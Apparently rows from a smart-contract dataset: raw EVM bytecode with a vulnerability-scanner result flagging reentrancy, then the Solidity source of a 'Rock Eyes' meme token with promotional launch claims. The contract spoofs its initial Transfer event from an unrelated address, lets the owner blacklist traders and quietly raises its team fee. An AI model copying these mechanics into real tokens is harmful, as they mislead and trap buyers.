5061029b610713366004612522565b6114c7565b34801561072457600080fd5b5061029b610733366004612725565b611542565b34801561074457600080fd5b5061029b610753366004612522565b611571565b34801561076457600080fd5b5061029b61165b565b6000546001600160a01b031633146107a05760405162461bcd60e51b8152600401610797906127c1565b60405180910390fd5b60005b8151811015610816576001600b60008484815181106107d257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080e81612929565b9150506107a3565b5050565b6000546001600160a01b031633146108445760405162461bcd60e51b8152600401610797906127c1565b6001600160a01b03811660009081526007602052604090205460ff166108bc5760405162461bcd60e51b815260206004820152602760248201527f4163636f756e74206973206e6f74206578636c756465642066726f6d207265666044820152663632b1ba34b7b760c91b6064820152608401610797565b60005b60085481101561081657816001600160a01b0316600882815481106108f457634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610a03576008805461091f90600190612912565b8154811061093d57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b03909216918390811061097757634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600790925220805460ff1916905560088054806109dd57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610a0d81612929565b9150506108bf565b6000610a223384846116a3565b5060015b92915050565b6000610a398484846117c7565b610a8b8433610a8685604051806060016040528060288152602001612986602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611d08565b6116a3565b5060019392505050565b6000546001600160a01b03163314610abf5760405162461bcd60e51b8152600401610797906127c1565b6001600160a01b03811660009081526007602052604090205460ff1615610b285760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610797565b600854603290610b399060016128bb565b1115610bc35760405162461bcd60e51b815260206004820152604d60248201527f43616e6e6f74206578636c756465206d6f7265207468616e203530206163636f60448201527f756e74732e2020496e636c75646520612070726576696f75736c79206578636c60648201526c3ab232b21030b2323932b9b99760991b608482015260a401610797565b6001600160a01b03811660009081526002602052604090205415610c1d576001600160a01b038116600090815260026020526040902054610c0390611d42565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b03163314610cad5760405162461bcd60e51b8152600401610797906127c1565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b6291015b60405180910390a150565b6014546001600160a01b0316336001600160a01b031614610d2857600080fd5b6000610d3330610f00565b9050610d3e81611dc6565b50565b6000546001600160a01b03163314610d6b5760405162461bcd60e51b8152600401610797906127c1565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600080546001600160a01b03163314610dc15760405162461bcd60e51b8152600401610797906127c1565b60c8835110610e315760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203230302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b6064820152608401610797565b60005b8351811015610a8b576000848281518110610e5f57634e487b7160e01b600052603260045260246000fd5b602002602001015190506000848381518110610e8b57634e487b7160e01b600052603260045260246000fd5b60200260200101519050610ea03383836117c7565b50508080610ead90612929565b915050610e34565b6000546001600160a01b03163314610edf5760405162461bcd60e51b8152600401610797906127c1565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6001600160a01b038116600090815260026020526040812054610a2690611d42565b6000546001600160a01b03163314610f4c5760405162461bcd60e51b8152600401610797906127c1565b6014546001600160a01b0316610fa45760405162461bcd60e51b815260206004820152601760248201527f5f6d6363416464726573732063616e6e6f7420626520300000000000000000006044820152606401610797565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556014805486168086529483902080549092166001179091555490519316835290917f417f955d533f8f15bbe429b7b99e435b0407ba14f6aefffbef8c005b332a97629101610cfd565b6000546001600160a01b0316331461103e5760405162461bcd60e51b8152600401610797906127c1565b6017805460ff60b01b1916600160b01b179055565b6000546001600160a01b0316331461107d5760405162461bcd60e51b8152600401610797906127c1565b601a55565b6000546001600160a01b031633146110ac5760405162461bcd60e51b8152600401610797906127c1565b737a250d5630b4cf539739df2c5dacb4c659f2488d6110cc816001610d41565b601680546001600160a01b0319166001600160a01b03831690811790915561110090309069021e19e0c9bab24000006116a3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561113957600080fd5b505afa15801561114d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611171919061253e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111b957600080fd5b505afa1580156111cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f1919061253e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561123957600080fd5b505af115801561124d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611271919061253e565b601780546001600160a01b0319166001600160a01b03929092169182179055610d3e906001610d41565b6000546001600160a01b031633146112c55760405162461bcd60e51b8152600401610797906127c1565b600c849055600d829055600e839055600f81905560196112e583866128bb565b11156113335760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610797565b6019600f54600e5461134591906128bb565b11156113935760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203235250000006044820152606401610797565b50505050565b6000610a223384846117c7565b6000546001600160a01b031633146113d05760405162461bcd60e51b8152600401610797906127c1565b6015546001600160a01b03166114285760405162461bcd60e51b815260206004820152601860248201527f5f6d6b7467416464726573732063616e6e6f74206265203000000000000000006044820152606401610797565b6001600160a01b039081166000908152600560209081526040808320805460ff199081169091556015805486168086529483902080549092166001179091555490519316835290917f4aeacdf11926d26257f8e9ea6e9091947978ac978705e15835bf04f21f4fa69b9101610cfd565b6000546001600160a01b031633146114c25760405162461bcd60e51b8152600401610797906127c1565b601955565b6000546001600160a01b031633146114f15760405162461bcd60e51b8152600401610797906127c1565b6001600160a01b038116600081815260056020908152604091829020805460ff1916905590519182527f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e9101610cfd565b6000546001600160a01b0316331461156c5760405162461bcd60e51b8152600401610797906127c1565b601855565b6000546001600160a01b0316331461159b5760405162461bcd60e51b8152600401610797906127c1565b6001600160a01b0381166116005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610797565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316148061169057506015546001600160a01b0316336001600160a01b0316145b61169957600080fd5b47610d3e81611f6b565b6001600160a01b0383166117055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610797565b6001600160a01b0382166117665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610797565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661182b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610797565b6001600160a01b03821661188d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610797565b600081116118ef5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610797565b6000546001600160a01b0384811691161480159061191b57506000546001600160a01b03838116911614155b15611b7057601754600160b01b900460ff16611ae3576017546001600160a01b0383811691161480159061195d57506016546001600160a01b03838116911614155b801561198257506001600160a01b03821660009081526005602052604090205460ff16155b15611ae3576019548161199484610f00565b61199e91906128bb565b106119f75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610797565b601854811115611a495760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610797565b6001600160a01b0383166000908152600b602052604090205460ff16158015611a8b57506001600160a01b0382166000908152600b602052604090205460ff16155b611ae35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610797565b6000611aee30610f00565b601a54601854919250821015908210611b075760185491505b808015611b1e5750601754600160a01b900460ff16155b8015611b3857506017546001600160a01b03868116911614155b8015611b4d5750601754600160a81b900460ff165b15611b6d57611b5b82611dc6565b478015611b6b57611b6b47611f6b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680611bb257506001600160a01b03831660009081526005602052604090205460ff165b80611be457506017546001600160a01b03858116911614801590611be457506017546001600160a01b03848116911614155b15611bf157506000611cfc565b6017546001600160a01b038581169116148015611c1c57506016546001600160a01b03848116911614155b15611c2e57600c54601055600d546011555b6001600160a01b03841660009081526005602052604090205460ff16611cbf57601854821115611cbf5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610797565b6017546001600160a01b038481169116148015611cea57506016546001600160a01b03858116911614155b15611cfc57600e54601055600f546011555b61139384848484611ff0565b60008184841115611d2c5760405162461bcd60e51b8152600401610797919061276e565b506000611d398486612912565b95945050505050565b6000600954821115611da95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610797565b6000611db361201e565b9050611dbf8382612041565b9392505050565b6017805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611e1c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611e7057600080fd5b505afa158015611e84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea8919061253e565b81600181518110611ec957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601654611eef91309116846116a3565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611f289085906000908690309042906004016127f6565b600060405180830381600087803b158015611f4257600080fd5b505af1158015611f56573d6000803e3d6000fd5b50506017805460ff60a01b1916905550505050565b6014546001600160a01b03166108fc611f85836002612041565b6040518115909202916000818181858888f19350505050158015611fad573d6000803e3d6000fd5b506015546001600160a01b03166108fc611fc8836002612041565b6040518115909202916000818181858888f19350505050158015610816573d6000803e3d6000fd5b80611ffd57611ffd612083565b6120088484846120b1565b8061139357611393601254601055601354601155565b600080600061202b6121a8565b909250905061203a8282612041565b9250505090565b6000611dbf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121ec565b6010541580156120935750601154155b1561209a57565b601080546012556011805460135560009182905555565b6000806000806000806120c38761221a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506120f59087612277565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461212490866122b9565b6001600160a01b03891660009081526002602052604090205561214681612318565b6121508483612362565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161219591815260200190565b60405180910390a3505050505050505050565b600954600090819069021e19e0c9bab24000006121c58282612041565b8210156121e35750506009549269021e19e0c9bab240000092509050565b90939092509050565b6000818361220d5760405162461bcd60e51b8152600401610797919061276e565b506000611d3984866128d3565b60008060008060008060008060006122378a601054601154612386565b925092509250600061224761201e565b9050600080600061225a8e8787876123db565b919e509c509a509598509396509194505050505091939550919395565b6000611dbf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d08565b6000806122c683856128bb565b905083811015611dbf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610797565b600061232261201e565b90506000612330838361242b565b3060009081526002602052604090205490915061234d90826122b9565b30600090815260026020526040902055505050565b60095461236f9083612277565b600955600a5461237f90826122b9565b600a555050565b60008080806123a0606461239a898961242b565b90612041565b905060006123b3606461239a8a8961242b565b905060006123cb826123c58b86612277565b90612277565b9992985090965090945050505050565b60008080806123ea888661242b565b905060006123f8888761242b565b90506000612406888861242b565b90506000612418826123c58686612277565b939b939a50919850919650505050505050565b60008261243a57506000610a26565b600061244683856128f3565b90508261245385836128d3565b14611dbf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610797565b600082601f8301126124ba578081fd5b813560206124cf6124ca83612897565b612866565b80838252828201915082860187848660051b89010111156124ee578586fd5b855b8581101561251557813561250381612970565b845292840192908401906001016124f0565b5090979650505050505050565b600060208284031215612533578081fd5b8135611dbf81612970565b60006020828403121561254f578081fd5b8151611dbf81612970565b6000806040838503121561256c578081fd5b823561257781612970565b9150602083013561258781612970565b809150509250929050565b6000806000606084860312156125a6578081fd5b83356125b181612970565b925060208401356125c181612970565b929592945050506040919091013590565b600080604083850312156125e4578182fd5b82356125ef81612970565b915060208301358015158114612587578182fd5b60008060408385031215612615578182fd5b823561262081612970565b946020939093013593505050565b60006020828403121561263f578081fd5b813567ffffffffffffffff811115612655578182fd5b612661848285016124aa565b949350505050565b6000806040838503121561267b578182fd5b823567ffffffffffffffff80821115612692578384fd5b61269e868387016124aa565b93506020915081850135818111156126b4578384fd5b85019050601f810186136126c6578283fd5b80356126d46124ca82612897565b80828252848201915084840189868560051b87010111156126f3578687fd5b8694505b838510156127155780358352600194909401939185019185016126f7565b5080955050505050509250929050565b600060208284031215612736578081fd5b5035919050565b60008060008060808587031215612752578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b8181101561279a5785810183015185820160400152820161277e565b818111156127ab5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156128455784516001600160a01b031683529383019391830191600101612820565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff8111828210171561288f5761288f61295a565b604052919050565b600067ffffffffffffffff8211156128b1576128b161295a565b5060051b60200190565b600082198211156128ce576128ce612944565b500190565b6000826128ee57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561290d5761290d612944565b500290565b60008282101561292457612924612944565b500390565b600060001982141561293d5761293d612944565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d3e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206faa9358ff3cddab6c646417b9f0da811a0854d9fb607804e053f1aa2fb81d6b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,918 |
0xb8db73049c43e92f23fd8c93957cd5ba4a691ea9 | /**
___ _ ___ _ _
| _ \ ___ __ | |__ o O O | __| | || | ___ ___
| / / _ \ / _| | / / o | _| \_, | / -_) (_-<
|_|_\ \___/ \__|_ |_\_\ TS__[O] |___| _|__/ \___| /__/_
_|"""""|_|"""""|_|"""""|_|"""""| {======|_|"""""|_| """"|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'./o--000'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Andre Cronje tweeted Rock Eyes Image on his twitter today.
We are going to launch our new meme token named Rock Eyes
There's no presale and team will add liquidity. It's absolutely Fair Launch
Tokenomics
Will send 5% total supply to Andre Cronje
Others will be added to liquidity
It will locked in unicrypt right after launch.
https://twitter.com/RockEyes5
https://t.me/rockeyes
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RockEyes is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rock Eyes";
string private constant _symbol = "RockEyes \xF0\x9F\x91\x80";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(0x2D407dDb06311396fE14D4b49da5F0471447d45C, _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600981526020017f526f636b20457965730000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffff